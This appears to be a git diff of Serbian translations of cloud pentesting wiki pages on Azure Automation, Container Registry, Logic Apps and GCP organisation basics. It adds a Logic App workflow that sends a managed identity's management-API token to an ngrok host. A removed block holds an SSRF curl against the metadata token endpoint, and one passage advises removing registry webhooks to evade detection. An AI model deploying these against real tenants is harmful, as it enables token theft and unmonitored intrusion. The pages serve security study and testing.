arbitrarnih PS kodova u svim konfiguriranim VM-ovima**, omogućavajući eskalaciju privilegija na upravljane identitete ovih VM-ova, potencijalno prelazeći na nove mreže... Takođe, konfiguracije bi mogle sadržati **osetljive informacije**. +Iz perspektive napadača ovo je bilo zanimljivo jer je omogućilo **izvršavanje arbitrarnih PS kodova u svim konfiguriranim VM-ovima**, omogućavajući eskalaciju privilegija na upravljane identitete ovih VM-ova, potencijalno prelazeći na nove mreže... Takođe, konfiguracije su mogle sadržati **osetljive informacije**. -## Enumeracija +## Enumeration ```bash # List Automation Accounts az automation account list --output table @@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName -R ../az-privilege-escalation/az-automation-accounts-privesc.md {{#endref}} +## Postojanost + +{{#ref}} +../az-persistence/az-automation-accounts-persistence.md +{{#endref}} + ## Reference - [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index c0442b06e..d086ba524 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -8,12 +8,12 @@ Azure Container Registry (ACR) je sigurna, privatna registracija koja vam omogu ### Dozvole -Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje se mogu dodeliti nad Container Registry: +Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje se mogu dodeliti preko Container Registry: - Pristup Resource Manager-u - Kreiranje/brisanje registracije -- Push slike -- Pull slike +- Postavljanje slike +- Preuzimanje slike - Brisanje podataka o slici - Promena politika - Potpisivanje slika @@ -25,16 +25,16 @@ Takođe postoje neke **ugrađene uloge** koje se mogu dodeliti, a moguće je i k ### Autentifikacija > [!WARNING] -> Veoma je važno da, čak i ako ime registracije sadrži neka velika slova, uvek koristite **mala slova** za prijavu, push i pull slika. +> Veoma je važno da, čak i ako ime registracije sadrži neka velika slova, uvek koristite **mala slova** za prijavu, postavljanje i preuzimanje slika. Postoje 4 načina za autentifikaciju na ACR: -- **Sa Entra ID**: Ovo je **podrazumevani** način autentifikacije na ACR. Koristi **`az acr login`** komandu za autentifikaciju na ACR. Ova komanda će **sačuvati akreditive** u **`~/.docker/config.json`** datoteci. Štaviše, ako pokrećete ovu komandu iz okruženja bez pristupa docker socket-u, kao u **cloud shell**, moguće je koristiti **`--expose-token`** flag za dobijanje **tokena** za autentifikaciju na ACR. Zatim, da biste se autentifikovali, treba da koristite kao korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **Sa administratorskim nalogom**: Administratorski korisnik je podrazumevano onemogućen, ali može biti omogućen i tada će biti moguće pristupiti registru sa **korisničkim imenom** i **lozinkom** administratorskog naloga sa punim dozvolama za registraciju. Ovo je još uvek podržano jer neke Azure usluge to koriste. Imajte na umu da su za ovog korisnika kreirane **2 lozinke** i obe su važeće. Možete ga omogućiti sa `az acr update -n --admin-enabled true`. Imajte na umu da je korisničko ime obično ime registracije (a ne `admin`). -- **Sa tokenom**: Moguće je kreirati **token** sa **specifičnom `scope map`** (dozvole) za pristup registru. Zatim, moguće je koristiti ovo ime tokena kao korisničko ime i neku od generisanih lozinki za autentifikaciju na registru sa `docker login -u -p aregistry-url>` -- **Sa Service Principal**: Moguće je kreirati **service principal** i dodeliti ulogu kao **`AcrPull`** za povlačenje slika. Zatim, biće moguće **prijaviti se na registraciju** koristeći SP appId kao korisničko ime i generisanu tajnu kao lozinku. +- **Sa Entra ID**: Ovo je **podrazumevani** način autentifikacije na ACR. Koristi **`az acr login`** komandu za autentifikaciju na ACR. Ova komanda će **čuvati akreditive** u **`~/.docker/config.json`** datoteci. Štaviše, ako pokrećete ovu komandu iz okruženja bez pristupa docker socket-u, kao u **cloud shell**, moguće je koristiti **`--expose-token`** flag za dobijanje **tokena** za autentifikaciju na ACR. Zatim, da biste se autentifikovali, treba da koristite kao korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Sa administratorskim nalogom**: Administratorski korisnik je podrazumevano onemogućen, ali može biti omogućen i tada će biti moguće pristupiti registru sa **korisničkim imenom** i **lozinkom** administratorskog naloga sa punim dozvolama za registar. Ovo je još uvek podržano jer neke Azure usluge to koriste. Imajte na umu da su za ovog korisnika kreirane **2 lozinke** i obe su važeće. Možete ga omogućiti sa `az acr update -n --admin-enabled true`. Imajte na umu da je korisničko ime obično ime registracije (a ne `admin`). +- **Sa tokenom**: Moguće je kreirati **token** sa **specifičnom `scope map`** (dozvole) za pristup registru. Zatim, moguće je koristiti ime tokena kao korisničko ime i bilo koju od generisanih lozinki za autentifikaciju na registar sa `docker login -u -p ` +- **Sa Service Principal**: Moguće je kreirati **service principal** i dodeliti ulogu kao **`AcrPull`** za preuzimanje slika. Zatim, biće moguće **prijaviti se u registar** koristeći SP appId kao korisničko ime i generisanu tajnu kao lozinku. -Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa pristupom nad registracijom: +Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa pristupom preko registra: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -53,31 +53,31 @@ echo "Service principal password: $PASSWORD" Samo **Premium SKU** podržava **enkripciju u mirovanju** za slike i druge artefakte. -### Mrežno povezivanje +### Mreža Samo **Premium SKU** podržava **privatne krajnje tačke**. Ostali samo podržavaju **javne pristupe**. Javna krajnja tačka ima format `.azurecr.io`, a privatna krajnja tačka ima format `.privatelink.azurecr.io`. Iz tog razloga, ime registra mora biti jedinstveno u celoj Azure. ### Microsoft Defender za Cloud -Ovo vam omogućava da **skenirate slike** u registru na **ranjivosti**. +Ovo vam omogućava da **skenirate slike** u registru za **ranjivosti**. -### Soft-deletion +### Soft-delete Funkcija **soft-delete** vam omogućava da **opravite obrisani registar** unutar naznačenog broja dana. Ova funkcija je **onemogućena po defaultu**. ### Webhook-ovi -Moguće je **kreirati webhook-ove** unutar registara. U ovom webhook-u potrebno je navesti URL gde će **zahtev biti poslat svaki put kada se izvrši push ili delete akcija**. Štaviše, Webhook-ovi mogu označiti opseg kako bi ukazali na repozitorijume (slike) koji će biti pogođeni. Na primer, 'foo:\*' znači događaje pod repozitorijumom 'foo'. +Moguće je **kreirati webhook-ove** unutar registara. U ovom webhook-u je potrebno navesti URL na koji će **zahtev biti poslat svaki put kada se izvrši push ili delete akcija**. Štaviše, Webhook-ovi mogu označiti opseg kako bi ukazali na repozitorijume (slike) koji će biti pogođeni. Na primer, 'foo:\*' znači događaje pod repozitorijumom 'foo'. -Iz perspektive napadača, zanimljivo je proveriti ovo **pre nego što se izvrši bilo kakva akcija** u registru, i privremeno ga ukloniti ako je potrebno, kako bi se izbeglo otkrivanje. +Sa stanovišta napadača, zanimljivo je proveriti ovo **pre nego što se izvrši bilo kakva akcija** u registru, i privremeno ga ukloniti ako je potrebno, kako bi se izbeglo otkrivanje. ### Povezani registri -Ovo u suštini omogućava **ogledanje slika** iz jednog registra u drugi, obično smešten u lokalnom okruženju. +Ovo u suštini omogućava **ogledanje slika** iz jednog registra u drugi, obično smešten u lokalnoj mreži. Ima 2 moda: **ReadOnly** i **ReadWrite**. U prvom, slike se samo **preuzimaju** iz izvornog registra, a u drugom, slike se takođe mogu **gurnuti** u izvorni registar. -Da bi klijenti pristupili registru iz Azure, generiše se **token** kada se koristi povezani registar. +Kako bi klijenti pristupili registru iz Azure, **token** se generiše kada se koristi povezani registar. ### Izvršenja i zadaci @@ -92,9 +92,9 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -Međutim, to će pokrenuti izvršenja koja nisu previše zanimljiva iz perspektive napadača jer nemaju nijednu upravljanu identitet. +Međutim, to će pokrenuti izvršenja koja nisu previše zanimljiva iz perspektive napadača jer nemaju nijednu upravljanu identitet pridruženu njima. -Međutim, **tasks** mogu imati **system and user managed identity** pridružene njima. Ovi zadaci su korisni za **escalate privileges** u kontejneru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti zadatke za eskalaciju privilegija. +Međutim, **tasks** mogu imati **sistemsku i korisničku upravljanu identitet** pridruženu njima. Ovi zadaci su korisni za **escalate privileges** u kontejneru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti zadatke za eskalaciju privilegija. ### Cache @@ -105,7 +105,7 @@ Ovo je veoma zanimljivo iz perspektive napadača jer omogućava **pivot to an ex ## Enumeration > [!WARNING] -> Veoma je važno da, čak i ako naziv registra sadrži neka velika slova, treba koristiti samo mala slova u URL-u za pristup. +> Veoma je važno da, čak i ako ime registra sadrži neka velika slova, treba koristiti samo mala slova u URL-u za pristup. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,10 +143,16 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## Eskalacija privilegija i post eksploatacija +## Neautentifikovani Pristup {{#ref}} -../az-privilege-escalation/az-automation-accounts-privesc.md +../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +{{#endref}} + +## Eskalacija Privilegija & Post Eksploatacija + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} ## Reference diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index a05396c73..ea76be816 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -2,101 +2,177 @@ {{#include ../../../banners/hacktricks-training.md}} -## Osnovne Informacije +## Osnovne informacije -Azure Logic Apps je usluga zasnovana na oblaku koju pruža Microsoft Azure koja omogućava programerima da **kreiraju i pokreću radne tokove koji integrišu različite usluge**, izvore podataka i aplikacije. Ovi radni tokovi su dizajnirani da **automatizuju poslovne procese**, orkestriraju zadatke i obavljaju integracije podataka između različitih platformi. +Azure Logic Apps omogućava programerima da **kreiraju i pokreću radne tokove koji integrišu različite usluge**, izvore podataka i aplikacije. Ovi radni tokovi su dizajnirani da **automatizuju poslovne procese**, orkestriraju zadatke i obavljaju integracije podataka širom različitih platformi. -Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa **širokim spektrom unapred napravljenih konektora**, što olakšava povezivanje i interakciju sa raznim uslugama, kao što su Office 365, Dynamics CRM, Salesforce i mnoge druge. Takođe možete kreirati prilagođene konektore za vaše specifične potrebe. +Logic Apps pruža **vizuelni dizajner** za kreiranje radnih tokova sa **širokim spektrom unapred izgrađenih konektora**, što olakšava povezivanje i interakciju sa različitim uslugama: -Kada kreirate Logic App, morate ili kreirati ili povezati eksterni nalog za skladištenje koji čuva stanje radnog toka, istoriju izvršavanja i artefakte. Ovo skladište može biti konfigurisano sa dijagnostičkim podešavanjima za praćenje i može biti zaštićeno mrežnim pristupnim ograničenjima ili integrisano u virtuelnu mrežu kako bi se kontrolisao ulazni i izlazni saobraćaj. +
https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png
-### Primeri - -- **Automatizacija Podatkovnih Tokova**: Logic Apps mogu automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih podatkovnih tokova koji premeštaju i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji. -- **Integracija sa Azure Funkcijama**: Logic Apps mogu raditi zajedno sa Azure Funkcijama za razvoj **složenih, događajem pokretanih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Funkcije kao odgovor na određene događaje, kao što su promene u Azure nalogu za skladištenje, omogućavajući dinamičku obradu podataka. - -### Vizualizacija LogicAPP-a - -Moguće je prikazati LogicApp sa grafikom: - -
- -ili proveriti kod u sekciji "**Prikaz koda Logic app-a**". - -### SSRF Zaštita - -Čak i ako pronađete **Logic App ranjiv na SSRF**, nećete moći da pristupite kredencijalima iz metapodataka jer Logic Apps to ne dozvoljava. - -Na primer, nešto poput ovoga neće vratiti token: -```bash -# The URL belongs to a Logic App vulenrable to SSRF -curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v -``` ### Opcije hostovanja Postoji nekoliko opcija hostovanja: * **Potrošnja** -- **Višekorisnički**: pruža deljene računske resurse, funkcioniše u javnom oblaku i prati model cena po operaciji. Ovo je idealno za lagane i ekonomične radne opterećenja. Ovo implementira "Jedan Tok". +- **Multi-tenant**: Ovo pruža deljene računske resurse, funkcioniše u javnom oblaku i prati model cena po operaciji. Ovo je idealno za lagane i isplative radne opterećenja. Ovo ćemo nazvati "Jedan Radni Tok". * **Standard** -- **Plan usluge radnog toka**: posvećeni računski resursi sa VNET integracijom za umrežavanje i naplaćuje se po instanci plana usluge radnog toka. Pogodno je za zahtevnija radna opterećenja koja zahtevaju veću kontrolu. -- **Okruženje usluge aplikacija V3**: posvećeni računski resursi sa potpunom izolacijom i skalabilnošću. Takođe se integriše sa VNET za umrežavanje i koristi model cena zasnovan na instancama usluge aplikacija unutar okruženja. -- **Hibridno**: dizajnirano za lokalnu obradu i podršku za više oblaka. Omogućava korisnički upravljane računske resurse sa lokalnim pristupom mreži i koristi Kubernetes Event-Driven Autoscaling (KEDA). Oslanja se na Okruženje povezane aplikacije kontejnera. +- **Plan usluge radnog toka**: Ovo pruža posvećene računske resurse sa VNET integracijom za umrežavanje i naplaćuje po instanci plana usluge radnog toka. Pogodno je za zahtevnija radna opterećenja koja zahtevaju veću kontrolu. +- **App Service Environment V3:** Ovo pruža posvećene računske resurse sa potpunom izolacijom i skalabilnošću. Takođe se integriše sa VNET za umrežavanje i koristi model cena zasnovan na App Service instancama unutar okruženja. +- **Hibrid:** Ovo je dizajnirano za lokalnu obradu i podršku za više oblaka. Omogućava korisnički upravljane računske resurse sa lokalnim pristupom mreži i koristi Kubernetes Event-Driven Autoscaling (KEDA). Oslanja se na Container App Connected Environment. -### Ključne karakteristike -- **Skladištenje**: Logic Apps zahteva eksterni Azure Storage nalog za čuvanje stanja radnog toka, istorije izvršenja… i mora biti u istoj grupi resursa kao Logic App. -- **Mrežno povezivanje i bezbednost**: Logic Apps mogu biti konfigurisane sa javnim ili privatnim pristupom. Po defaultu, aplikacija je otvorena za internet, ali može biti integrisana sa Azure Virtual Network za izolovanu povezanost. -- **Uvid u aplikacije**: Upravljanje performansama aplikacija (APM) putem Azure Monitor Application Insights može biti omogućeno za praćenje performansi, otkrivanje anomalija i pružanje analitike. -- **Kontrola pristupa**: Logic Apps podržavaju identitete koje upravlja sistem i identitete koje upravlja korisnik. +## "Jedan" Radni Tokovi / Plan Potrošnje -### "Jedan" Tokovi +**Radni tok** je strukturisana sekvenca automatizovanih koraka ili zadataka koji izvršavaju određeni proces ili cilj. Definiše kako različite akcije, uslovi i odluke interaguju da bi se postigao željeni ishod, pojednostavljujući operacije i smanjujući manuelni trud. -**Tok** je strukturisana sekvenca automatizovanih koraka ili zadataka koji izvršavaju određeni proces ili cilj. Definiše kako različite akcije, uslovi i odluke međusobno deluju kako bi se postigao željeni ishod, pojednostavljujući operacije i smanjujući manuelni trud. Tokovi mogu integrisati više sistema, pokretati događaje i pravila, osiguravajući doslednost i efikasnost u procesima. +> [!TIP] +> Plan potrošnje omogućava **kreiranje jednog radnog toka bez potrebe za samim Logic App**. -Azure Logic Apps pruža funkcionalnost **kreiranja jednog toka bez potrebe za Logic App** samim. +### Okidači i Akcije -Svaki tok ima različite **okidače**. Ovi okidači su koraci koje tok prati. Svaki okidač ima svoje parametre koji se mogu razlikovati u zavisnosti od tipa okidača: -- Ime veze -- **Tip autentifikacije** koji može biti, Pristupni ključ, Microsoft Entra ID, autentifikacija integrisanog servisnog principa i Logic Apps upravljani identitet. +Okidači radnog toka označavaju **kada bi radni tok trebao da počne**. Okidači mogu biti HTTP krajnja tačka, raspored ili desetine različitih događaja iz Azure-a ili čak spoljašnjih aplikacija. -Okidači takođe imaju različite postavke: -- Validacija šeme: Osigurava da dolazni podaci prate unapred definisanu strukturu. -- Kontrola konkurentnosti: Ograničava broj paralelnih izvršenja. -- Uslovi okidača: uslovi koji moraju biti ispunjeni pre nego što se okidač aktivira. -- Mrežno povezivanje: Konfiguriše veličinu paketa za prenos podataka i omogućava suzbijanje zaglavlja radnog toka u odgovorima. -- **Bezbednost**: Omogućava **Sigurne Ulaze/Izlaze za skrivanje** osetljivih podataka u logovima i izlazima. +Svaki radni tok ima različite **akcije**. Ove akcije su koraci koje radni tok prati. U zavisnosti od akcije, različiti parametri će biti dostupni za konfiguraciju, kao što su: -**Postavke i API veze:** +- **Ime konekcije**: Konekcija koja će se koristiti sa kojom će akcija interagovati. +- **Tip autentifikacije:** Različite opcije su Access Key, Microsoft Entra ID, Integrated Service principal authentication i Logic Apps Managed Identity. +- Iz perspektive samo za čitanje, **podaci o autentifikaciji** su uvek zanimljivi jer mogu sadržati osetljive informacije. +- Iz perspektive pisanja, **podaci o autentifikaciji** su uvek zanimljivi jer mogu omogućiti korišćenje dozvola dodeljenih upravljanim identitetima. +- ... -Tok ima različite postavke kao što su: -- Dozvoljene ulazne IP adrese: Ova postavka vam omogućava da ograničite ko može da pokrene ili započne vašu Logic App. Opcije su Svaka IP, Samo druge Logic Apps i Specifični opsezi IP adresa. -- Integracioni nalog: Ovde možete povezati svoju Logic App sa Integracionim nalogom. -- Visok protok: Ova postavka omogućava vašoj Logic App da brzo obradi više zahteva. -- Zadržavanje istorije izvršenja: koliko dugo se čuva istorija izvršenja vaše Logic App. +Akcije takođe imaju različite **postavke**, koje zavise od same akcije. Neke od najčešćih postavki su: -Možete videti različite API veze koje tok ima. Unutar svake od ovih veza imaju različite osobine i mogućnost uređivanja API veze gde se tip autentifikacije može promeniti. +- **Politika ponovnog pokušaja**: Konfiguriše broj ponovnih pokušaja i interval između njih. +- **Vreme čekanja**: Postavlja maksimalno vreme koje akcija može da traje pre nego što istekne. +- **Pokreni nakon**: Precizira uslove koji moraju biti ispunjeni pre nego što akcija bude pokrenuta. +- **Validacija šeme**: Osigurava da dolazni podaci prate unapred definisanu strukturu. +- **Umrežavanje**: Konfiguriše kako upravljati različitim zaglavljima. +- **Sigurni ulazi/izlazi**: Ovo će sakriti ulazne/izlazne podatke iz istorije izvršenja. +- ... -**Istorija i verzije:** -Ima opciju pristupa **istoriji** različitih izvršenja, prikazuje, Postavke, Izlaz, Parametre i Kod. +### Politike autorizacije -Takođe ima opciju pristupa različitim **verzijama** toka, gde možete proveriti kod i promeniti trenutni tok sa starijom verzijom. - -**Autorizacija:** -Azure Logic Apps podržavaju **politike autorizacije** sa Entra ID za osiguranje okidača zasnovanih na zahtevima zahtevajući važeći pristupni token. Ovaj token mora uključivati specifične tvrdnje: +Ovi radni tokovi podržavaju **politike autorizacije** sa Entra ID za zaštitu okidača zasnovanih na zahtevima zahtevajući važeći pristupni token. Ovaj token mora uključivati specifične tvrdnje: - Izdavač (iss) za verifikaciju identiteta provajdera - Publika (aud) da osigura da je token namenjen za Logic App -- Subjekt (sub) za identifikaciju pozivaoca +- Subjekat (sub) za identifikaciju pozivaoca - JWT ID (identifikator JSON Web Token-a) - Prilagođena tvrdnja -Kada se zahtev primi, Logic Apps validira token prema ovim tvrdnjama i omogućava izvršenje samo ako se poklapaju sa konfigurisanim politikama. Ovo se može koristiti za omogućavanje drugom korisniku da pokrene tok ili odbijanje okidača iz drugih izvora, na primer, samo omogućavanje okidača ako dolazi sa https://login.microsoftonline.com/. +Kada se zahtev primi, Logic Apps validira token prema ovim tvrdnjama i omogućava izvršenje samo ako se poklapaju sa konfigurisanim politikama. Ovo se može koristiti za omogućavanje drugom tenant-u da pokrene radni tok ili odbijanje okidača iz drugih izvora, na primer, samo omogućavanje okidača ako dolazi sa https://login.microsoftonline.com/. -**Pristupni ključevi:** -Kada prvi put sačuvate okidač zasnovan na zahtevu, Logic Apps automatski kreira jedinstvenu tačku pristupa sa SAS potpisom (kreiranim iz Pristupnog ključa) koji daje dozvolu za pozivanje toka. Ovaj SAS potpis je ugrađen u URL okidača. Ovaj ključ se može regenerisati i daće novi SAS potpis, ali ključevi se ne mogu listati. +### Pristupni ključevi -URL za pozivanje sa Pristupnim ključem: +Radni tokovi **generišu 2 pristupna ključa** kada se kreiraju. Ovi ključevi se koriste za autentifikaciju i autorizaciju zahteva za radni tok. Ključevi se koriste za generisanje Shared Access Signature (SAS) tokena, koji se uključuje u URL zahteva. +Dakle, kada se kreira okidač HTTP krajnje tačke, generiše se **jedinstvena HTTP krajnja tačka sa SAS potpisom** koja daje dozvolu za pozivanje radnog toka. + +Ovi **ključevi se mogu regenerisati** i biće kreiran novi SAS URL za ove okidače, ali **vrednosti ključeva se ne mogu pristupiti**. + +Primer SAS URL-a za pozivanje okidača: +``` https://.logic.azure.com:443/workflows//triggers//paths/invoke?api-version=&sp=%2Ftriggers%2F%2Frun&sv=&sig= +``` +### Podešavanja i komponente radnog toka + +- **Opcija pristupa okidaču**: Ova postavka vam omogućava da ograničite ko može da pokrene ili započne vaš radni tok. Opcije su Svaki IP, Samo drugi radni tok i Specifični IP opsezi. +- **Integracioni nalog**: Povežite svoj radni tok sa Integracionim nalogom. +- **Visok protok**: Ako je uključen, omogućava brže rukovanje većim brojem zahteva paralelno. +- **Zadržavanje istorije izvršenja**: Ovo označava broj dana za koje se čuva istorija izvršenja. +- **API konekcije**: Ovo prikazuje različite API konekcije koje radni tok ima. Unutar svake od ovih konekcija imaju različita svojstva i mogućnost uređivanja API konekcije gde se može promeniti tip autentifikacije. +- **Istorija**: Ima opciju pristupa **istoriji** starih izvršenja i dobijanja podataka: Podešavanja, Izlaz, Parametri i Kod. +- **Verzije**: Ima opciju pristupa različitim **verzijama** radnog toka, gde možete proveriti kod i promeniti trenutni radni tok sa starijom verzijom. +- **Upravljane identitete**: Moguće je dodeliti 1 sistemski upravljani identitet i korisnički upravljani identitet radnom toku. + +### Izdavanje MI pristupnih tokena + +HTTP akcija u radnom toku može se koristiti za slanje podataka na eksternu veb stranicu. U **Naprednim parametrima** HTTP akcije, moguće je konfigurisati **Tip autentifikacije** kao **`Upravljani identitet`** i zatim odabrati **dodeljeni upravljani identitet** za korišćenje (sistem ili korisnik). + +Pored toga, moguće je naznačiti u **`Publika`** publiku generisanog JWT, koja bi mogla biti na primer **`https://management.azure.com/`** kako bi se generisani token mogao koristiti za pristup Azure menadžerskom API-ju. + +> [!WARNING] +> Slanjem HTTP zahteva na server koji kontroliše napadač, moguće je **izdati pristupni token upravljanog identiteta** dodeljenog radnom toku. + +> [!TIP] +> Napadač takođe može koristiti druge tipove akcija da **direktno pristupi drugim Azure uslugama** i izvrši radnje sa dozvolama upravljanog identiteta. + +Ovo je kod radnog toka koji izlaže HTTP krajnju tačku i zatim koristi HTTP akciju da izda pristupni token na konfigurisanu URL adresu (ngrok u ovom slučaju): + +
+Kod radnog toka +```json +{ +"definition": { +"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", +"contentVersion": "1.0.0.0", +"triggers": { +"When_a_HTTP_request_is_received": { +"type": "Request", +"kind": "Http" +} +}, +"actions": { +"HTTP": { +"runAfter": {}, +"type": "Http", +"inputs": { +"uri": "https://22b6-81-33-70-107.ngrok-free.app", +"method": "GET", +"authentication": { +"type": "ManagedServiceIdentity", +"audience": "https://management.azure.com/" +} +}, +"runtimeConfiguration": { +"contentTransfer": { +"transferMode": "Chunked" +} +} +} +}, +"outputs": {}, +"parameters": { +"$connections": { +"type": "Object", +"defaultValue": {} +} +} +}, +"parameters": { +"$connections": { +"type": "Object", +"value": {} +} +} +} +``` +
+ +## Logic Apps / Standard Plan + +### Razlike sa "Single" Tokovima + +Logic apps u osnovi koriste App Service u pozadini da **hostuju logic app koji može hostovati nekoliko tokova**. To znači da će logic app imati sve funkcije App Service-a i "Single" Tokova. + +Neke ključne funkcije bi bile: + +- **App Service Plan**: Logic Apps u Standard planu su hostovane na App Service Plan-u, tako da je moguće koristiti sve funkcije App Service-a kao što su: +- **Mrežne Ograničenja**: Naznačite odakle je dostupno. +- **Centar za Implementaciju**: Implementacija sa eksternih platformi kao što su Github, Bitbucket, Azure Repos, Eksterni Git i Lokalni Git. +- **FTP pristup**: Moguće je pristupiti datotekama Logic App-a putem FTP-a. +- **Račun za skladištenje**: Servisna aplikacija koristi račun za skladištenje za čuvanje informacija. +- **Env varijable & Postavke aplikacije**: Moguće je konfigurisati varijable okruženja i postavke aplikacije (i pronaći osetljive informacije kao što su pristupni ključevi za račun za skladištenje). +- ... +- **Parametri**: Parametri vam omogućavaju da upravljate vrednostima koje se razlikuju između razvoja, testiranja i produkcije. Ovo vam omogućava da prvo dizajnirate tokove, a zatim lako prilagodite postavke specifične za okruženje kasnije. +- **Posvećeni Resursi**: Logic Apps u Standard planu imaju posvećene resurse. +- **Više Tokova**: Omogućava kreiranje više tokova. + +Za više informacija o App Services pogledajte: + +{{#ref}} +../az-services/az-app-services.md +{{#endref}} + ### Enumeracija @@ -203,19 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " -Integra ## Eskalacija privilegija -Isto kao privesc logičkih aplikacija: +Isto kao privesc za logic apps: {{#ref}} ../az-privilege-escalation/az-logic-apps-privesc.md @@ -331,4 +405,10 @@ Isto kao privesc logičkih aplikacija: ../az-post-exploitation/az-logic-apps-post-exploitation.md {{#endref}} +## Postojanost + +{{#ref}} +../az-persistence/az-logic-apps-persistence.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md b/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md index 91cdb529f..cee9b4f1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md @@ -13,24 +13,28 @@ Organization --> Projects --> Resources ``` -Virtuelna mašina (nazvana Compute Instance) je resurs. Resurs se nalazi u projektu, verovatno zajedno sa drugim Compute Instances, skladišnim kanticama itd. +A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc. -## **Migracija Projekata** +

https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg

-Moguće je **migrirati projekat bez organizacije** u organizaciju sa dozvolama `roles/resourcemanager.projectCreator` i `roles/resourcemanager.projectMover`. Ako je projekat unutar druge organizacije, potrebno je kontaktirati GCP podršku da **ih prvo premeste iz organizacije**. Za više informacija pogledajte [**ovo**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6). +## **Migracija projekata** -## **Politike Organizacije** +Moguće je **migrirati projekat bez organizacije** u organizaciju sa dozvolama `roles/resourcemanager.projectCreator` i `roles/resourcemanager.projectMover`. Ako je projekat unutar druge organizacije, potrebno je kontaktirati GCP podršku da **prvo presele projekat iz organizacije**. Za više informacija pogledajte [**ovo**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6). + +## **Politike organizacije** Omogućavaju centralizaciju kontrole nad resursima vaše organizacije u oblaku: - Centralizujte kontrolu da **konfigurišete ograničenja** o tome kako se resursi vaše organizacije mogu koristiti. -- Definišite i uspostavite **ograničenja** za vaše razvojne timove da ostanu unutar granica usklađenosti. -- Pomozite vlasnicima projekata i njihovim timovima da brzo napreduju bez brige o kršenju usklađenosti. +- Definišite i uspostavite **ograničenja** za vaše razvojne timove kako bi ostali unutar granica usklađenosti. +- Pomoć vlasnicima projekata i njihovim timovima da brzo deluju bez brige o kršenju usklađenosti. -Ove politike mogu biti kreirane da **uticaju na kompletnu organizaciju, folder(e) ili projekat(e)**. Potomci ciljanog čvora hijerarhije resursa **nasleđuju politiku organizacije**. +Ove politike mogu biti kreirane da **uticaju na celu organizaciju, folder(e) ili projekat(e)**. Potomci ciljanog čvora hijerarhije resursa **nasleđuju politiku organizacije**. Da biste **definisali** politiku organizacije, **birate** [**ograničenje**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), što je određena vrsta ograničenja prema Google Cloud usluzi ili grupi Google Cloud usluga. **Konfigurišete to ograničenje sa željenim ograničenjima**. +

https://cloud.google.com/resource-manager/img/org-policy-concepts.svg

+ #### Uobičajeni slučajevi korišćenja - Ograničite deljenje resursa na osnovu domena. @@ -38,9 +42,11 @@ Da biste **definisali** politiku organizacije, **birate** [**ograničenje**](htt - Ograničite fizičku lokaciju novokreiranih resursa. - Onemogućite kreiranje naloga za usluge. +
